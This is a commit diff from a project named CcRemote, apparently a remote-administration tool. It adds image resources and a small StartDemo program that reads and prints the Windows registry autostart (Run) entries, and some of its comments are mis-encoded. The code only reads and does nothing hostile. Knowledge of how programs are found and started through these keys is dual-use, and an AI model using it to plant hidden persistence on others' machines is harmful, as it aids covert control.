void CIOCPServer::DisconnectAll()
|
void CIOCPServer::DisconnectAll()
|
||||||
{
|
{
|
||||||
m_bDisconnectAll = true;
|
m_bDisconnectAll = true;
|
||||||
|
@@ -15,6 +15,9 @@
|
|||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
|
||||||
#endif //PCH_H
|
#endif //PCH_H
|
||||||
|
|
||||||
|
BIN
CcRemote/CcRemote/res/1.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/2.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/3.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/4.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/Bitmap_4.bmp
Normal file
After Width: | Height: | Size: 10 KiB |
BIN
CcRemote/CcRemote/res/Bitmap_5.bmp
Normal file
After Width: | Height: | Size: 10 KiB |
BIN
CcRemote/CcRemote/res/audio.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/background_list_online.bmp
Normal file
After Width: | Height: | Size: 264 KiB |
BIN
CcRemote/CcRemote/res/background_picture.bmp
Normal file
After Width: | Height: | Size: 5.8 MiB |
BIN
CcRemote/CcRemote/res/bmp00001.bmp
Normal file
After Width: | Height: | Size: 1.8 KiB |
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/toolbar2.bmp
Normal file
After Width: | Height: | Size: 1.8 KiB |
BIN
StartDemo/.vs/StartDemo/v15/.suo
Normal file
BIN
StartDemo/Debug/StartDemo.exe
Normal file
31
StartDemo/StartDemo.sln
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 15
|
||||||
|
VisualStudioVersion = 15.0.28307.1022
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StartDemo", "StartDemo\StartDemo.vcxproj", "{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.Build.0 = Release|x64
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {8DF98FBA-5DA4-49FA-9BC6-EFDD98E2CE5C}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
192
StartDemo/StartDemo/CRegOperate.cpp
Normal file
@@ -0,0 +1,192 @@
|
|||||||
|
#include "CRegOperate.h"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
CRegOperate::CRegOperate(HKEY beginKey, TCHAR* path)
|
||||||
|
{
|
||||||
|
|
||||||
|
dwType = REG_BINARY | REG_DWORD | REG_EXPAND_SZ | REG_MULTI_SZ | REG_NONE | REG_SZ;
|
||||||
|
|
||||||
|
|
||||||
|
//Begin to get HKEY of path.
|
||||||
|
Query(beginKey, path);
|
||||||
|
|
||||||
|
//test if queue is empty<74><79><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||||
|
while (!keystack.empty())
|
||||||
|
{
|
||||||
|
|
||||||
|
string newPath = keystack.front();
|
||||||
|
|
||||||
|
keystack.pop();
|
||||||
|
|
||||||
|
Query(beginKey, newPath.c_str());
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//Release.
|
||||||
|
RegCloseKey(beginKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
CRegOperate::~CRegOperate()
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void CRegOperate::Query(HKEY rootKey, const char* path)
|
||||||
|
|
||||||
|
{
|
||||||
|
vecKeyName.clear();
|
||||||
|
vecKeyName.reserve(200);
|
||||||
|
|
||||||
|
#ifdef COMMAND_OUTPUT
|
||||||
|
|
||||||
|
_tprintf(TEXT("\nProcess: %s :\n"), path);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
HKEY hKey;
|
||||||
|
if (RegOpenKeyEx(rootKey, path, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
TCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
|
||||||
|
DWORD cbName; // size of name string
|
||||||
|
TCHAR achClass[MAX_PATH] = TEXT(""); // buffer for class name
|
||||||
|
DWORD cchClassName = MAX_PATH; // size of class string
|
||||||
|
DWORD cSubKeys = 0; // number of subkeys
|
||||||
|
DWORD cbMaxSubKey; // longest subkey size
|
||||||
|
DWORD cchMaxClass; // longest class string
|
||||||
|
DWORD cValues; // number of values for key
|
||||||
|
DWORD cchMaxValue; // longest value name
|
||||||
|
DWORD cbMaxValueData; // longest value data
|
||||||
|
DWORD cbSecurityDescriptor; // size of security descriptor
|
||||||
|
FILETIME ftLastWriteTime; // last write time
|
||||||
|
|
||||||
|
DWORD i, retCode;
|
||||||
|
|
||||||
|
|
||||||
|
TCHAR achValue[MAX_VALUE_NAME];
|
||||||
|
DWORD cchValue = MAX_VALUE_NAME;
|
||||||
|
|
||||||
|
|
||||||
|
// Get the class name and the value count.
|
||||||
|
|
||||||
|
retCode = RegQueryInfoKey(
|
||||||
|
hKey, // key handle
|
||||||
|
achClass, // buffer for class name
|
||||||
|
&cchClassName, // size of class string
|
||||||
|
NULL, // reserved
|
||||||
|
&cSubKeys, // number of subkeys
|
||||||
|
&cbMaxSubKey, // longest subkey size
|
||||||
|
&cchMaxClass, // longest class string
|
||||||
|
&cValues, // number of values for this key
|
||||||
|
&cchMaxValue, // longest value name
|
||||||
|
&cbMaxValueData, // longest value data
|
||||||
|
&cbSecurityDescriptor, // security descriptor
|
||||||
|
&ftLastWriteTime); // last write time
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Enumerate the subkeys, until RegEnumKeyEx fails.
|
||||||
|
|
||||||
|
if (cSubKeys)
|
||||||
|
{
|
||||||
|
|
||||||
|
#ifdef COMMAND_OUTPUT
|
||||||
|
|
||||||
|
printf("Number of subkeys: %d\n", cSubKeys);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
for (i = 0; i < cSubKeys; i++)
|
||||||
|
{
|
||||||
|
cbName = MAX_KEY_LENGTH;
|
||||||
|
|
||||||
|
retCode = RegEnumKeyEx(hKey, i,
|
||||||
|
achKey,
|
||||||
|
&cbName,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
&ftLastWriteTime);
|
||||||
|
|
||||||
|
if (retCode == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
|
||||||
|
#ifdef COMMAND_OUTPUT
|
||||||
|
|
||||||
|
_tprintf(TEXT("(%d) %s\n"), i + 1, achKey);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//use achKey to build new path and input it into stack.
|
||||||
|
|
||||||
|
std::string newPath = "";
|
||||||
|
|
||||||
|
newPath.append(path);
|
||||||
|
newPath.append("\\");
|
||||||
|
newPath.append(achKey);
|
||||||
|
keystack.push(newPath);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enumerate the key values.
|
||||||
|
|
||||||
|
if (cValues)
|
||||||
|
{
|
||||||
|
#ifdef COMMAND_OUTPUT
|
||||||
|
|
||||||
|
printf("Number of values: %d\n", cValues);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
|
||||||
|
{
|
||||||
|
cchValue = MAX_VALUE_NAME;
|
||||||
|
|
||||||
|
achValue[0] = '\0';
|
||||||
|
|
||||||
|
unsigned char vari[70];
|
||||||
|
|
||||||
|
retCode = RegEnumValue(hKey, i,
|
||||||
|
achValue,
|
||||||
|
&cchValue,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
if (retCode == ERROR_SUCCESS)
|
||||||
|
|
||||||
|
{
|
||||||
|
std::string filePath = "";
|
||||||
|
TCHAR szBuffer[255] = { 0 };
|
||||||
|
DWORD dwNameLen = 255;
|
||||||
|
DWORD rQ = RegQueryValueEx(hKey, achValue, 0, &dwType, (LPBYTE)szBuffer, &dwNameLen);
|
||||||
|
|
||||||
|
if (rQ == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
filePath.append(szBuffer);
|
||||||
|
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ļ<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>vector<6F><72>
|
||||||
|
vecKeyName.push_back(filePath);
|
||||||
|
//_tprintf(TEXT("(%d) %s %s\n"), i + 1, achValue, szBuffer);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//release.
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
|
33
StartDemo/StartDemo/CRegOperate.h
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <fstream>
|
||||||
|
#include <queue>
|
||||||
|
#include <vector>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
|
||||||
|
class CRegOperate
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CRegOperate(HKEY beginKey, TCHAR* path);
|
||||||
|
~CRegOperate();
|
||||||
|
|
||||||
|
private:
|
||||||
|
#define MAX_KEY_LENGTH 255
|
||||||
|
#define MAX_VALUE_NAME 16383
|
||||||
|
|
||||||
|
DWORD dwType;
|
||||||
|
queue<string> keystack;
|
||||||
|
|
||||||
|
//<2F><>ѯ<EFBFBD><D1AF>ֵ
|
||||||
|
void Query(HKEY rootKey, const char* path);
|
||||||
|
public:
|
||||||
|
vector<string> vecKeyName;
|
||||||
|
};
|
||||||
|
|
13
StartDemo/StartDemo/Debug/StartDemo.Build.CppClean.log
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.pdb
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.idb
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.obj
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\cregoperate.obj
|
||||||
|
f:\myapp\ccremote\startdemo\debug\startdemo.exe
|
||||||
|
f:\myapp\ccremote\startdemo\debug\startdemo.ilk
|
||||||
|
f:\myapp\ccremote\startdemo\debug\startdemo.pdb
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.command.1.tlog
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.read.1.tlog
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.write.1.tlog
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.command.1.tlog
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.read.1.tlog
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.write.1.tlog
|
3
StartDemo/StartDemo/Debug/StartDemo.log
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
StartDemo.cpp
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(35): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
|
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe
|
@@ -0,0 +1,2 @@
|
|||||||
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
|
Debug|Win32|F:\myapp\CcRemote\StartDemo\|
|
BIN
StartDemo/StartDemo/Debug/cregoperate.obj.enc
Normal file
BIN
StartDemo/StartDemo/Debug/startdemo.obj.enc
Normal file
43
StartDemo/StartDemo/StartDemo.cpp
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <tchar.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
#include <queue>
|
||||||
|
|
||||||
|
|
||||||
|
#include "CRegOperate.h"
|
||||||
|
|
||||||
|
|
||||||
|
int _tmain(int argc, _TCHAR* argv[])
|
||||||
|
|
||||||
|
{
|
||||||
|
|
||||||
|
//64位注册表
|
||||||
|
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||||
|
//32位注册表
|
||||||
|
TCHAR N3path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||||
|
|
||||||
|
TCHAR N2path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||||
|
//HKEY_CURRENT_USER
|
||||||
|
CRegOperate test_reg(HKEY_CURRENT_USER, N1path);
|
||||||
|
|
||||||
|
|
||||||
|
for (int i = 0; i < test_reg.vecKeyName.size(); i++) {
|
||||||
|
_tprintf(TEXT("%s\n"),test_reg.vecKeyName[i].c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
system("pause");
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
167
StartDemo/StartDemo/StartDemo.vcxproj
Normal file
@@ -0,0 +1,167 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>15.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}</ProjectGuid>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<RootNamespace>StartDemo</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="CRegOperate.cpp" />
|
||||||
|
<ClCompile Include="StartDemo.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="CRegOperate.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
30
StartDemo/StartDemo/StartDemo.vcxproj.filters
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="StartDemo.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CRegOperate.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="CRegOperate.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
4
StartDemo/StartDemo/StartDemo.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
3
StartDemo/StartDemo/x64/Debug/StartDemo.log
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
StartDemo.cpp
|
||||||
|
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(205): warning C4101: “vari”: 未引用的局部变量
|
||||||
|
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\x64\Debug\StartDemo.exe
|
@@ -0,0 +1,2 @@
|
|||||||
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
|
Debug|x64|F:\myapp\CcRemote\StartDemo\|
|